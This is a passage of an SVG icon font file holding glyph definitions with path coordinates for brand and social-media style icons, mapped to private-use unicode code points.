		c-10.783,1.63-18.938,5.554-24.492,11.764c-4.247,4.247-6.362,8.495-6.362,12.743c0,12.089, 6.544,19.117, 19.609,21.077
		c 19.932,2.937, 36.194,12.173, 48.775,27.692c 12.578,15.522, 18.869,33.739, 18.869,54.651c0,6.535-1.977,13.561-4.588,21.075
		c 8.495,1.964, 14.459,3.76, 18.94,5.395L 200.611,275.185 c-19.711-7.844-38.058-11.762-53.743-11.762
		C 133.142,271.264, 118.945,275.185, 102.934,275.185z M 108.326,30.601c 27.45,0, 41.17-8.331, 41.17-24.999
		c0-17.647-12.58-26.465-37.74-26.465c-28.754,0-43.131,8.497-43.131,25.486C 68.624,21.943, 81.856,30.601, 108.326,30.601z
		 M 104.895,160c-20.586,0-30.881,11.272-30.881,33.822c0,24.177, 10.295,36.271, 30.881,36.271c 9.801,0, 17.482-3.761, 23.035-11.274
		c 4.575-6.864, 6.864-15.032, 6.864-24.51C 134.795,171.439, 124.826,160, 104.895,160zM 253.918,384c-9.474,0-17.561-3.594-24.261-10.784c-6.7-7.191-10.049-15.845-10.049-25.977
		c0-9.804, 3.35-18.296, 10.049-25.488c 6.697-7.19, 14.784-10.78, 24.261-10.78c 9.148,0, 17.075,3.591, 23.774,10.78
		c 6.699,7.192, 10.045,15.683, 10.045,25.488c0,10.133-3.346,18.788-10.045,25.977C 270.99,380.406, 263.066,384, 253.918,384zM 281.369,272.001l-55.39,0 c 0.654-6.272-0.28-15.768-0.28-31.124l0-152.439 c0-15.687, 0.935-28.339, 0.28-33.266l 55.39,0 
		c-0.656,7.165-2.36,19.542-2.36,36.207L 279.010,241.855 C 279.007,256.233, 280.713,265.729, 281.369,272.001zM 403.522,102.162c-14.381,0-21.473,10.95-21.473,32.841l0,90.405 l 21.816,0 c 3.92,0, 7.452,0.215, 11.864-0.108
		c 4.413-0.327, 6.191-0.109, 8.434-0.109l0,46.808 l-42.113,0 l0,20.832 c0,7.841, 1.232,15.007, 2.211,19.487l-56.857,0 
		c 0.981-4.48, 0.887-11.321, 0.887-20.471L 328.291,272 l-24.64,0 l0-46.807 c 6.722,0.98, 12.727,1.468, 16.973,1.468l 7.667-0.489l0-0.256 l0,0l0-88.463 
		c0-27.45, 3.482-47.544, 10.341-60.288c 9.153-16.992, 25.21-25.488, 49.059-25.488c 16.996,0, 31.989,3.266, 43.187,9.804l0,49.014 
		C 421.922,104.94, 413.649,102.162, 403.522,102.162z"  />
<glyph unicode="&#xe18c;" d="M 115.269,51.776c0-11.835, 10.016-17.755, 30.042-17.755c 17.528,0, 26.288,6.143, 26.288,18.434
		c0,11.61-9.558,17.411-28.675,17.411C 124.485,69.868, 115.269,63.839, 115.269,51.776zM 373.34,384L 74.676,384 C 33.605,384,0,350.396,0,309.324l0-298.649 C0-30.422, 33.605-64, 74.676-64l 298.664,0 
		C 414.407-64, 448-30.422, 448,10.676L 448,309.324 C 448,350.396, 414.408,384, 373.34,384z M 208.131,205.068
		c-3.187-1.139-7.738-2.388-13.655-3.756c 1.82-5.235, 2.733-10.129, 2.733-14.68c0-14.565-4.383-27.255-13.144-38.068
		c-8.763-10.81-20.087-17.24-33.97-19.288c-9.102-1.368-13.653-6.261-13.653-14.682c0-2.958, 1.478-5.919, 4.438-8.877
		c 3.869-4.325, 9.558-7.058, 17.070-8.196c 32.546-5.006, 48.819-18.547, 48.819-40.624c0-35.281-21.054-52.921-63.158-52.921
		c-17.3,0-31.524,3.074-42.675,9.218c-14.113,7.738-21.165,19.915-21.165,36.531c0,19.12, 10.584,32.207, 31.747,39.26l0,0.682 
		c-7.737,4.779-11.605,12.062-11.605,21.851c0,12.745, 3.642,20.713, 10.924,23.897l0,0.683 c-7.283,2.504-13.77,8.195-19.46,17.073
		c-6.372,9.56-9.559,19.801-9.559,30.726c0,16.388, 5.806,30.043, 17.409,40.968c 11.154,10.244, 24.468,15.363, 39.946,15.363
		c 11.154,0, 21.507-2.729, 31.067-8.191c 10.924,0, 23.556,2.73, 37.899,8.191L 208.131,205.068L 208.131,205.068z M 263.453,86.94
		l-38.581,0 c 0.456,4.551, 0.682,12.287, 0.682,23.215L 225.553,216.333 c0,10.699-0.228,18.097-0.682,22.189l 38.581,0 
		c-0.456-4.324-0.683-11.493-0.683-21.509l0-104.809 C 262.769,100.595, 262.998,92.173, 263.453,86.94z M 260.889,272.664
		c-4.665-5.007-10.186-7.508-16.558-7.508c-6.6,0-12.232,2.502-16.899,7.508c-4.666,5.010-7.001,10.925-7.001,17.753
		c0,7.059, 2.335,13.086, 7.001,18.098c 4.666,5.006, 10.299,7.511, 16.899,7.511c 6.372,0, 11.893-2.505, 16.558-7.511
		c 4.666-5.012, 6.999-11.038, 6.999-18.098C 267.888,283.589, 265.555,277.673, 260.889,272.664z M 368.239,91.379
		c-8.424-4.554-18.553-6.828-30.388-6.828c-16.612,0-28.109,5.915-34.479,17.751c-4.782,8.877-7.169,22.873-7.169,41.991l0,61.112 
		l 0.34,0 l0,0.683 l-5.121,0.342c-2.959,0-6.83-0.342-11.609-1.025L 279.814,238.523 l 16.727,0 l0,13.314 c0,6.374-0.34,11.498-1.024,15.365l 39.602,0 
		c-0.678-4.323-1.022-9.216-1.022-14.679l0-13.999 l 29.7,0 l0-33.115 c-1.137,0-3.242,0.113-6.316,0.34
		c-3.073,0.228-5.974,0.344-8.705,0.344l-14.68,0 l0-63.501 c0-15.253, 5.009-22.877, 15.021-22.877c 7.055,0, 13.43,1.933, 19.122,5.803
		L 368.239,91.379 L 368.239,91.379zM 140.532,208.822c-14.34,0-21.509-8.424-21.509-25.264c0-15.707, 7.17-23.558, 21.509-23.558
		c 13.885,0, 20.826,7.966, 20.826,23.899c0,6.602-1.593,12.291-4.778,17.072C 152.709,206.204, 147.36,208.822, 140.532,208.822z"  />
<glyph unicode="&#xe18d;" d="M 56,160.004c0-64.761, 38.641-120.736, 94.688-147.253L 70.548,226.594C 61.225,206.246, 56,183.727, 56,160.004zM 337.412,168.257c0,20.227-7.461,34.228-13.849,45.125c-8.513,13.484-16.502,24.891-16.502,38.376
			c0,15.039, 11.71,29.040, 28.213,29.040c 0.745,0, 1.452-0.089, 2.177-0.132C 307.563,307.339, 267.74,323.625, 224.004,323.625
			c-58.695,0-110.331-29.333-140.369-73.749c 3.942-0.123, 7.659-0.199, 10.812-0.199c 17.567,0, 44.774,2.079, 44.774,2.079
			c 9.052,0.517, 10.12-12.44, 1.075-13.485c0,0-9.104-1.036-19.229-1.553l 61.177-177.234l 36.769,107.387l-26.172,69.847
			c-9.051,0.518-17.622,1.553-17.622,1.553c-9.057,0.521-7.994,14.001, 1.067,13.485c0,0, 27.738-2.079, 44.246-2.079
			c 17.564,0, 44.778,2.079, 44.778,2.079c 9.057,0.517, 10.124-12.44, 1.070-13.485c0,0-9.115-1.038-19.227-1.553L 307.869,60.836
			l 16.761,54.526C 331.884,138.003, 337.412,154.256, 337.412,168.257zM 226.95,145.692l-50.411-142.65c 15.057-4.313, 30.972-6.667, 47.463-6.667c 19.563,0, 38.327,3.289, 55.789,9.275
			c-0.445,0.701-0.864,1.446-1.203,2.255L 226.95,145.692zM 371.421,238.5c 0.723-5.211, 1.132-10.8, 1.132-16.825c0-16.594-3.19-35.261-12.776-58.603l-51.313-144.494
			C 358.411,46.94, 392,99.641, 392,160.003C 392,188.453, 384.536,215.198, 371.421,238.5zM 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-36
		C 115.752-36, 28,51.752, 28,160S 115.752,356, 224,356s 196-87.752, 196-196S 332.248-36, 224-36z"  />
<glyph unicode="&#xe18e;" d="M 226.95,145.692 L 278.588,7.905 C 278.928,7.096 279.346,6.352 279.791,5.65 C 262.329-0.336 243.564-3.625 224.002-3.625 C 207.511-3.625 191.595-1.271 176.538,3.042 L 226.95,145.692 ZM 392,160.003 C 392,99.641 358.411,46.94 308.464,18.577 L 359.776,163.071 C 369.363,186.414 372.553,205.080 372.553,221.674 C 372.553,227.7 372.143,233.289 371.421,238.5 C 384.536,215.198 392,188.453 392,160.003 ZM 56,160.004 C 56,183.727 61.225,206.246 70.548,226.594 L 150.688,12.751 C 94.641,39.267 56,95.242 56,160.004 ZM 83.634,249.877 C 113.672,294.292 165.309,323.625 224.004,323.625 C 267.74,323.625 307.563,307.339 337.451,280.664 C 336.726,280.707 336.020,280.796 335.274,280.796 C 318.771,280.796 307.061,266.795 307.061,251.757 C 307.061,238.272 315.051,226.865 323.564,213.381 C 329.951,202.485 337.412,188.484 337.412,168.257 C 337.412,154.256 331.884,138.003 324.63,115.363 L 307.869,60.836 L 247.152,236.719 C 257.266,237.234 266.38,238.272 266.38,238.272 C 275.433,239.317 274.368,252.274 265.31,251.757 C 265.31,251.757 238.095,249.678 220.531,249.678 C 204.023,249.678 176.285,251.757 176.285,251.757 C 167.225,252.273 166.162,238.794 175.219,238.272 C 175.219,238.272 183.789,237.237 192.84,236.719 L 219.013,166.872 L 182.243,59.485 L 121.066,236.719 C 131.19,237.236 140.295,238.272 140.295,238.272 C 149.34,239.317 148.271,252.274 139.22,251.757 C 139.22,251.757 112.013,249.678 94.446,249.678 C 91.293,249.678 87.576,249.753 83.634,249.877 ZM 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z M 420,160
		c0-108.248-87.752-196-196-196S 28,51.752, 28,160S 115.752,356, 224,356S 420,268.248, 420,160z"  />
<glyph unicode="&#xe18f;" d="M 116.377,262.953c 14.364,14.369, 37.626,14.369, 51.977,0.014l 3.424-3.442l 44.233,44.256l-3.445,3.447
	c-25.21,25.244-60.6,34.072-92.934,26.478C 114.997,362.224, 90.281,383.986, 60.493,384C 27.396,384, 0.576,357.119, 0.569,323.993
	c0-28.584, 19.946-52.5, 46.665-58.551c-10.123-33.884-1.856-72.115, 24.87-98.868l 99.674-99.706l 44.186,44.281L 116.296,210.85
	C 101.998,225.166, 101.972,248.53, 116.377,262.953zM 447.437,323.993C 447.443,357.139, 420.61,384, 387.506,384c-30.29,0-55.334-22.507-59.361-51.729
	c-33.72,9.916-71.655,1.53-98.28-25.116l-99.68-99.706l 44.232-44.263l 99.648,99.687c 14.411,14.423, 37.62,14.396, 51.924,0.081
	c 14.35-14.363, 14.35-37.675-0.014-52.043l-3.41-3.428l 44.192-44.296l 3.438,3.469c 26.45,26.498, 34.859,64.206, 25.205,97.842
	C 424.778,268.361, 447.437,293.53, 447.437,323.993zM 396.491,55.41c 7.92,32.575-0.865,68.392-26.297,93.844L 270.667,249l-44.232-44.241l 99.54-99.755
	c 14.411-14.436, 14.378-37.667, 0.081-51.996c-14.351-14.356-37.627-14.356-51.991,0.013l-3.398,3.408l-44.185-44.295l 3.383-3.381
	c 26.913-26.947, 65.458-35.192, 99.474-24.713C 334.865-43.384, 359.060-64, 388.077-64C 421.153-64, 448-37.159, 448-4.007
	C 448,26.268, 425.609,51.317, 396.491,55.41zM 267.901,152.701L 168.353,52.954c-14.311-14.336-37.64-14.362-52.038,0.054c-14.358,14.396-14.364,37.668-0.019,52.049
	l 3.416,3.401l-44.225,44.242l-3.384-3.374c-25.707-25.726-34.37-62.052-26.009-94.93C 19.67,48.158,0,24.37,0-4.007
	C-0.007-37.146, 26.833-64, 59.93-64c 28.481,0.014, 52.32,19.87, 58.424,46.542c 32.682-8.117, 68.687,0.571, 94.213,26.143
	l 99.527,99.733L 267.901,152.701z"  />
<glyph unicode="&#xe190;" d="M 419.036,216l-24.59,0 l-0.525,0 c-15.385,0-28.87,13.012-29.921,28l0,0C 364.002,323.917, 299.575,384, 219.104,384l-73.423,0 
	C 65.264,384, 0.057,319.25,0,239.334l0-158.724 C0,0.698, 65.264-64, 145.68-64l 156.809,0 C 382.966-64, 448,0.698, 448,80.609L 448,183.152 
	C 448,199.121, 435.12,216, 419.036,216z M 140,272l 84,0 c 15.4,0, 28-12.6, 28-28s-12.6-28-28-28l-84,0 c-15.4,0-28,12.6-28,28S 124.6,272, 140,272
	z M 308,48L 140,48 c-15.4,0-28,12.6-28,28s 12.6,28, 28,28l 168,0 c 15.4,0, 28-12.6, 28-28S 323.4,48, 308,48z"  />
<glyph unicode="&#xe191;" d="M 373.34,384L 74.659,384 C 33.427,384,0,350.567,0,309.327l0-298.653 C0-30.568, 33.427-64, 74.659-64l 298.68,0 
	c 41.234,0, 74.659,33.432, 74.659,74.673L 448,309.327C 448,350.567, 414.573,384, 373.34,384z M 392,100.457
	C 392,40.524, 343.225-8, 282.868-8L 165.26-8 C 104.948-8, 56,40.524, 56,100.457L 56,219.5 c 0.042,59.938, 48.947,108.5, 109.26,108.5l 55.067,0 
	C 280.682,328, 329.002,282.937, 329,223c 0.788-11.241, 10.903-21, 22.44-21l 0.392,0 l 18.443,0 C 382.339,202, 392,189.341, 392,177.363L 392,100.457 zM 308,104c0-15.4-12.6-28-28-28L 168,76 c-15.4,0-28,12.6-28,28l0,0c0,15.4, 12.6,28, 28,28l 112,0 C 295.4,132, 308,119.4, 308,104
	L 308,104zM 252,216c0-15.4-12.6-28-28-28l-56,0 c-15.4,0-28,12.6-28,28l0,0c0,15.4, 12.6,28, 28,28l 56,0 C 239.4,244, 252,231.4, 252,216L 252,216
	z"  />
<glyph unicode="&#xe192;" d="M 252.014,188 L 252.013,85.545 C 252.013,59.549 251.676,44.57 254.432,37.201 C 257.167,29.871 264.022,22.262 271.491,17.862 C 281.415,11.918 292.728,8.948 305.488,8.948 C 328.174,8.948 341.572,11.944 364,26.684 L 364-40.666 L 364-40.666 C 344.881-49.658 328.184-54.926 312.671-58.57 C 297.139-62.176 280.357-63.997 262.33-63.997 C 241.843-63.997 229.756-61.422 214.026-56.273 C 198.294-51.081 184.862-43.67 173.767-34.162 C 162.633-24.571 154.945-14.383 150.646-3.61 C 146.347,7.168 144.208,22.821 144.208,43.309 L 144.208,200.415 L 84.084,200.415 L 84.084,263.856 C 101.675,269.561 121.343,277.763 133.863,288.422 C 146.443,299.119 156.51,311.918 164.097,326.897 C 171.706,341.836 176.936,360.896 179.791,383.998 L 252.015,383.998 L 252.014,272 L 364,272 L 364,188 L 252.014,188 Z"  />
<glyph unicode="&#xe193;" d="M 373.354,384L 74.676,384 C 33.604,384, 0.001,350.394, 0.001,309.325l0-298.649 C 0.001-30.422, 33.604-64, 74.676-64L 373.354-64 
	C 414.422-64, 448-30.422, 448,10.676L 448,309.326 C 447.996,350.394, 414.418,384, 373.354,384z M 320.126,23.199
	c-13.192-6.207-25.168-10.582-35.875-13.098c-10.717-2.489-22.295-3.744-34.738-3.744c-14.136,0-22.477,1.775-33.332,5.332
	c-10.854,3.582-20.125,8.694-27.781,15.256c-7.682,6.619-12.988,13.649-15.954,21.085c-2.968,7.439-4.443,18.24-4.443,32.377L 168.002,188.821 
	l-41.998,0 l0,43.779 c 12.138,3.938, 26.222,9.596, 34.862,16.953c 8.68,7.381, 15.627,16.213, 20.862,26.549
	c 5.252,10.31, 8.859,23.461, 10.829,39.404l 43.969,0 L 236.525,244 L 308,244 l0-55.18 l-71.478,0 l0-79.27 c0-17.938-0.231-28.274, 1.669-33.359
	c 1.887-5.058, 6.618-10.307, 11.77-13.344c 6.849-4.102, 14.658-6.151, 23.461-6.151c 15.656,0, 31.228,5.086, 46.703,15.258L 320.126,23.199 
	L 320.126,23.199z"  />
<glyph unicode="&#xe194;" d="M 371,104l-6.5,182.009C 364.225,293.704, 370.3,300, 378,300l 56,0 c 7.7,0, 12.892-6.202, 11.54-13.782L 413,104M 420,44.5c0-13.475-11.025-24.5-24.5-24.5l-7,0 c-13.475,0-24.5,11.025-24.5,24.5l0,7 c0,13.475, 11.025,24.5, 24.5,24.5l 7,0 c 13.475,0, 24.5-11.025, 24.5-24.5L 420,44.5 zM 168,300C 75.216,300,0,237.32,0,160c0-77.319, 75.216-140, 168-140c 92.784,0, 168,62.681, 168,140
	C 336,237.32, 260.784,300, 168,300z M 280,188l-32.49,0 L 196,136.489L 196,104 l 42,0 l0-28 L 126,76 l0,28 l 42,0 l0,32.489 L 88.489,216L 70.087,216 l0,28 l 83.828,0 l0-28 L 135.511,216 
	L 182,169.511l 14,14L 196,216 l 84,0 L 280,188 z"  />
<glyph unicode="&#xe195;" d="M 248.349,61.599c-35.851-16.677-69.194-16.501-91.586-14.884c-26.71,1.929-48.194,9.242-57.637,15.633
		c-5.819,3.94-13.73,2.416-17.671-3.405c-3.939-5.82-2.415-13.731, 3.405-17.671c 15.18-10.275, 42.030-17.917, 70.071-19.941
		c 4.754-0.343, 9.974-0.559, 15.595-0.559c 24.405,0, 55.399,2.326, 88.559,17.749c 6.372,2.965, 9.134,10.532, 6.17,16.905
		C 262.291,61.8, 254.722,64.558, 248.349,61.599zM 389.79,80.455c 1.219,110.551, 12.583,319.465-199.049,302.58C-18.21,366.217, 37.194,145.487, 34.080,71.558
		C 31.32,32.451, 18.339-15.351,0-64l 56.481,0 c 5.804,20.616, 10.073,41.002, 11.914,60.441c 3.405-2.375, 7.047-4.67, 10.935-6.869
		c 6.325-3.727, 11.762-8.682, 17.517-13.927c 13.45-12.258, 28.696-26.151, 58.499-27.892c 2-0.115, 4.014-0.172, 5.983-0.172
		c 30.142,0, 50.756,13.192, 67.322,23.792c 7.936,5.080, 14.795,9.468, 21.247,11.573c 18.336,5.74, 34.358,15.005, 46.333,26.798
		c 1.871,1.841, 3.606,3.735, 5.233,5.665c 6.67-24.447, 15.802-51.957, 25.938-79.408L 448-64 
		C 419.049-19.277, 389.184,24.539, 389.79,80.455z M 54.298,140.596c0,0.007,0,0.013-0.001,0.020
		c-2.076,36.077, 15.186,66.427, 38.555,67.785c 23.368,1.359, 43.995-26.787, 46.071-62.865c0-0.006, 0.002-0.013, 0.002-0.019
		c 0.112-1.945, 0.161-3.87, 0.162-5.778c-7.404-1.862-14.084-4.566-20.069-7.713c-0.023,0.268-0.040,0.532-0.067,0.801
		c0,0.004,0,0.008,0,0.011c-1.999,20.479-12.938,35.945-24.435,34.544c-11.498-1.402-19.198-19.141-17.199-39.619
		c0-0.004, 0.002-0.008, 0.002-0.011c 0.871-8.928, 3.442-16.903, 7.018-22.944c-0.89-0.702-3.405-2.543-6.303-4.662
		c-2.174-1.59-4.821-3.525-8.012-5.876C 61.324,105.685, 55.363,122.085, 54.298,140.596z M 291.051,51.422
		c-0.831-19.069-25.772-37.009-48.817-44.207l-0.13-0.042c-9.581-3.107-18.125-8.575-27.171-14.363
		c-15.195-9.723-30.908-19.779-53.603-19.779c-1.489,0-3.016,0.045-4.518,0.13c-20.788,1.215-30.512,10.076-42.822,21.296
		c-6.493,5.918-13.208,12.037-21.864,17.117l-0.185,0.107c-18.684,10.546-30.28,23.661-31.022,35.085
		c-0.368,5.679, 2.16,10.595, 7.517,14.612c 11.653,8.738, 19.459,14.447, 24.624,18.225c 5.736,4.195, 7.467,5.46, 8.75,6.678
		c 0.917,0.869, 1.909,1.832, 2.977,2.871c 10.695,10.401, 28.595,27.808, 56.066,27.808c 16.802,0, 35.393-6.475, 55.199-19.207
		c 9.329-6.072, 17.448-8.875, 27.729-12.425c 7.068-2.44, 15.080-5.207, 25.809-9.802l 0.173-0.072
		C 279.773,71.341, 291.592,63.833, 291.051,51.422z M 285.533,96.21c-1.925,0.969-3.926,1.89-6.013,2.75
		c-9.671,4.137-17.427,6.945-23.859,9.187c 3.551,6.954, 5.758,15.627, 5.961,25.043c0,0.004,0,0.010,0,0.013
		c 0.493,22.914-11.063,41.517-25.811,41.552c-14.748,0.034-27.103-18.512-27.596-41.425c0-0.004,0-0.008,0-0.012
		c-0.017-0.75-0.018-1.494-0.009-2.236c-9.083,4.179-18.016,7.214-26.76,9.083c-0.040,0.861-0.089,1.72-0.107,2.59
		c0,0.007,0,0.016,0,0.022c-0.848,41.743, 24.763,76.296, 57.205,77.176c 32.441,0.881, 59.425-32.244, 60.275-73.986
		c0-0.008,0-0.017,0-0.023C 299.202,127.068, 294.156,109.69, 285.533,96.21z"  />
<glyph unicode="&#xe196;" d="M 346.28,145.96c-0.566,56.736, 46.269,83.946, 48.362,85.298c-26.317,38.509-67.309,43.784-81.918,44.394
		c-34.887,3.532-68.073-20.54-85.779-20.54c-17.661,0-44.983,20.017-73.916,19.491c-38.026-0.565-73.088-22.11-92.668-56.166
		c-39.508-68.555-10.118-170.117, 28.389-225.718c 18.816-27.214, 41.253-57.783, 70.711-56.691c 28.368,1.132, 39.096,18.357, 73.393,18.357
		c 34.297,0, 43.937-18.357, 73.959-17.793c 30.526,0.567, 49.867,27.737, 68.553,55.036c 21.608,31.574, 30.505,62.142, 31.029,63.711
		C 405.719,55.648, 346.87,78.192, 346.28,145.96zM 289.871,312.459C 305.506,331.428, 316.060,357.746, 313.181,384c-22.522-0.917-49.822-15.002-65.979-33.928
		c-14.5-16.79-27.19-43.586-23.789-69.316C 248.554,278.794, 274.219,293.533, 289.871,312.459z"  />
<glyph unicode="&#xe197;" d="M 224.438,48c-57.887,0-114.482,8.475-168.919,25.243l 8.859,26.575C 115.96,83.998, 169.586,76, 224.438,76
		c 7.151,0, 14.279,0.144, 21.386,0.415C 247.672,110.347, 252,132, 252,132s-28,0-84,0c0,76.567, 26.17,144.399, 54.657,195.563L0,327.562 l0-335.125 
		l 247.702,0 c-2.044,19.987-2.758,38.876-2.692,55.93C 238.171,48.128, 231.313,48, 224.438,48z M 84,272l 28,0 l0-56 L 84,216 L 84,272 zM 448,327.562L 261.131,327.562 c-0.852-1.398-1.704-2.806-2.555-4.238c-16.807-28.25-30.16-57.207-39.688-86.065
		c-7.965-24.12-13.257-48.227-15.825-72.010l 89.625,0 l-8.075-39.74c-0.137-0.707-3.574-18.744-5.337-46.787
		c 35.816,3.555, 70.972,10.59, 105.225,21.094l 8.859-26.575c-37.435-11.531-75.891-19.14-115.085-22.768
		c-0.016-1.915-0.025-3.846-0.018-5.81c 0.054-17.776, 1.026-35.249, 2.888-52.227L 448-7.563 L 448,327.562 z M 364,216l-28,0 l0,56 l 28,0 L 364,216 zM 256.928-64l 34.199,0 c-2.389,9.544-4.457,19.334-6.185,29.35c-1.529,8.86-2.792,17.902-3.8,27.087l-33.439,0 
		C 249.554-25.665, 252.493-44.663, 256.928-64zM 301.196,384l-42.173,0 c-11.266-15.256-24.033-34.287-36.365-56.438l 38.473,0 C 275.863,351.761, 290.515,371.051, 301.196,384z"  />
<glyph unicode="&#xe198;" d="M 378,244c-15.4,0-28-12.6-28-28l0-112 c0-15.4, 12.6-28, 28-28s 28,12.6, 28,28L 406,216 C 406,231.4, 393.4,244, 378,244zM 42,244c-15.4,0-28-12.6-28-28l0-112 c0-15.4, 12.6-28, 28-28s 28,12.6, 28,28L 70,216 C 70,231.4, 57.399,244, 42,244zM 84,62c0-23.196, 18.804-42, 42-42l 14,0 l0-56 c0-15.4, 12.6-28, 28-28s 28,12.6, 28,28l0,56 l 28,0 l0-56 c0-15.4, 12.601-28, 28-28s 28,12.6, 28,28
		l0,56 l 14,0 c 23.196,0, 42,18.804, 42,42L 336,216 L 84,216 L 84,62 zM 261.887,344.846l 17.72,34.040c 0.889,1.707, 0.219,3.832-1.488,4.721s-3.832,0.219-4.721-1.488l-17.989-34.556
		C 241.322,353.008, 226.012,356, 210,356c-16.011,0-31.322-2.992-45.411-8.438L 146.601,382.118c-0.889,1.707-3.013,2.377-4.721,1.488
		s-2.377-3.013-1.488-4.721l 17.719-34.041c-39.651-17.945-68.355-55.818-73.334-100.846l 250.443,0 
		C 330.243,289.028, 301.538,326.9, 261.887,344.846z M 154,265.7c-11.211,0-20.3,9.089-20.3,20.3c0,11.211, 9.089,20.3, 20.3,20.3
		s 20.3-9.089, 20.3-20.3C 174.299,274.789, 165.211,265.7, 154,265.7z M 266,265.7c-11.211,0-20.301,9.089-20.301,20.3
		c0,11.211, 9.090,20.3, 20.301,20.3s 20.299-9.089, 20.299-20.3C 286.299,274.789, 277.211,265.7, 266,265.7z"  />
<glyph unicode="&#xe199;" d="M 180.351,160.038c-20.872,10.727-41.163,16.169-60.322,16.169c-2.606,0-5.229-0.079-7.852-0.31
		c-24.448-2.023-46.778-8.473-61.141-13.487c-3.81-1.399-7.715-2.877-11.738-4.509L0,21.666
		c 26.995,9.989, 50.878,14.848, 72.743,14.848c 35.37,0, 61.043-13.216, 82.246-26.821c 10.046,34.089, 34.144,116.414, 41.336,141.017
		C 191.097,153.897, 185.792,157.084, 180.351,160.038zM 231.152,125.407l-39.57-137.44c 11.739-6.725, 51.23-28.022, 81.468-28.022c 24.409,0, 51.735,6.255, 83.49,19.159
		l 37.781,132.114c-25.651-8.278-50.258-12.477-73.266-12.477C 279.077,98.741, 249.693,112.347, 231.152,125.407zM 128.11,222.654c 33.739-0.349, 58.691-13.216, 79.37-26.47l 40.579,138.838c-8.551,4.898-30.978,17.104-47.188,21.262
		c-10.669,2.487-21.884,3.769-33.777,3.769c-22.661-0.427-47.42-6.101-75.639-17.412l-38.692-135.886
		c 28.354,10.691, 52.782,15.899, 75.288,15.899C 128.070,222.654, 128.11,222.654, 128.11,222.654zM 448,297.321c-25.731-9.989-50.841-15.079-74.825-15.079c-40.113,0-69.69,13.913-88.854,27.285L 244.094,170.299
		c 27.014-17.372, 56.127-26.197, 86.678-26.197c 24.915,0, 50.724,5.985, 76.765,17.801l-0.080,0.972l 1.634,0.388L 448,297.321z"  />
<glyph unicode="&#xe19a;" d="M 0.153,160 L 0,296.532 L 168,319.345 L 168,160 ZM 196,323.414 L 419.944,356 L 419.944,160 L 196,160 ZM 419.999,132 L 419.944-64 L 196-32.493 L 196,132 ZM 168-28.928 L 0.137-5.918 L 0.128,132 L 168,132 Z"  />
<glyph unicode="&#xe19b;" d="M 390.233,159.036c-7.913,0-15.465-1.54-22.34-4.312C 363.296,204.755, 319.64,244, 266.392,244
		c-13.031,0-25.673-2.463-36.889-6.634c-4.357-1.62-5.503-3.29-5.503-6.526l0-176.187 c0-3.398, 2.73-6.227, 6.179-6.561
		C 230.326,48.077, 389.226,48, 390.256,48C 422.152,48, 448,72.857, 448,103.516S 422.129,159.036, 390.233,159.036zM 175,48L 189,48L 196,146.096L 189,244L 175,244L 168,146.096 	zM 133,48L 119,48L 112,119.203L 119,188L 133,188L 140,118 	zM 63,48L 77,48L 84,104L 77,160L 63,160L 56,104 	zM 7,76L 21,76L 28,104L 21,132L 7,132L0,104 	z"  />
<glyph unicode="&#xe19c;" d="M 373.35,384L 74.676,384 C 33.606,384, 0.001,350.397, 0.001,309.328l0-205.326 L 7,132l 14,0 l 7-28l-7-28L 7,76 l-7,27.998l0-93.32 
	C 0.001-30.42, 33.606-64, 74.676-64l 298.674,0 C 414.422-64, 448-30.42, 448,10.678L 448,103.516 C 448,72.857, 422.152,48, 390.256,48
	c-1.030,0-159.93,0.077-160.077,0.092c-3.448,0.333-6.179,3.163-6.179,6.561L 224,230.84 c0,3.235, 1.145,4.905, 5.503,6.526
	c 11.216,4.171, 23.859,6.634, 36.889,6.634c 53.247,0, 96.903-39.245, 101.499-89.275c 6.876,2.772, 14.428,4.312, 22.34,4.312
	c 31.896,0, 57.768-24.86, 57.768-55.52L 448,309.327 C 448,350.397, 414.418,384, 373.35,384z M 77,48L 63,48 l-7,56l 7,56l 14,0 l 7-56L 77,48z M 133,48l-14,0 
	l-7,71.203L 119,188l 14,0 l 7-70L 133,48z M 189,48l-14,0 l-7,98.096L 175,244l 14,0 l 7-97.904L 189,48z"  />
<glyph unicode="&#xe19d;" d="M 426.698,131.152c 1.23,9.1, 1.938,18.351, 1.938,27.769c0,113.011-92.112,204.638-205.715,204.638
	c-11.291,0-22.361-0.927-33.133-2.695c-19.313,12.586-42.299,19.921-67.035,19.921C 54.92,380.785,0,325.828,0,258.018
	c0-24.673, 7.262-47.595, 19.766-66.84c-1.684-10.515-2.545-21.283-2.545-32.252c0-113.029, 92.065-204.647, 205.699-204.647
	c 12.825,0, 25.311,1.249, 37.447,3.441c 18.856-11.698, 41.067-18.505, 64.878-18.505C 393.059-60.785, 448-5.814, 448,61.99
	C 447.997,87.621, 440.16,111.452, 426.698,131.152z M 242.148,8.103c-65.367-3.405-95.956,11.057-123.978,37.355
	c-31.294,29.371-18.723,62.872, 6.772,64.576c 25.482,1.701, 40.781-28.886, 54.381-37.394c 13.583-8.477, 65.27-27.79, 92.57,3.419
	c 29.729,33.975-19.77,51.555-56.052,56.877c-51.803,7.67-117.206,35.693-112.118,90.919c 5.089,55.19, 46.884,83.487, 90.869,87.479
	c 56.067,5.090, 92.567-8.494, 121.437-33.127c 33.381-28.463, 15.319-60.282-5.949-62.842c-21.186-2.545-44.979,46.816-91.692,47.558
	c-48.149,0.756-80.69-50.103-21.25-64.561c 59.47-14.442, 123.156-20.375, 146.091-74.74
	C 366.179,69.251, 307.569,11.512, 242.148,8.103z"  />
<glyph unicode="&#xe19e;" d="M 112,104A28,28 2700 1 0 168,104A28,28 2700 1 0 112,104zM 280,104A28,28 2700 1 0 336,104A28,28 2700 1 0 280,104zM 281.361,44.16 C 288.572,49.841 299.026,48.602 304.708,41.389 C 310.391,34.177 309.15,23.724 301.937,18.042 C 281.858,2.223 251.265-8 224-8 C 196.734-8 166.142,2.223 146.062,18.041 C 138.849,23.724 137.609,34.177 143.292,41.389 C 148.975,48.6 159.428,49.841 166.639,44.16 C 178.199,35.052 201.080,25.25 224,25.25 C 246.92,25.25 269.801,35.052 281.361,44.16 ZM 448,160c0,30.928-25.072,56-56,56c-21.051,0-39.372-11.624-48.935-28.796c-28.784,15.747-63.854,25.92-102.060,28.266
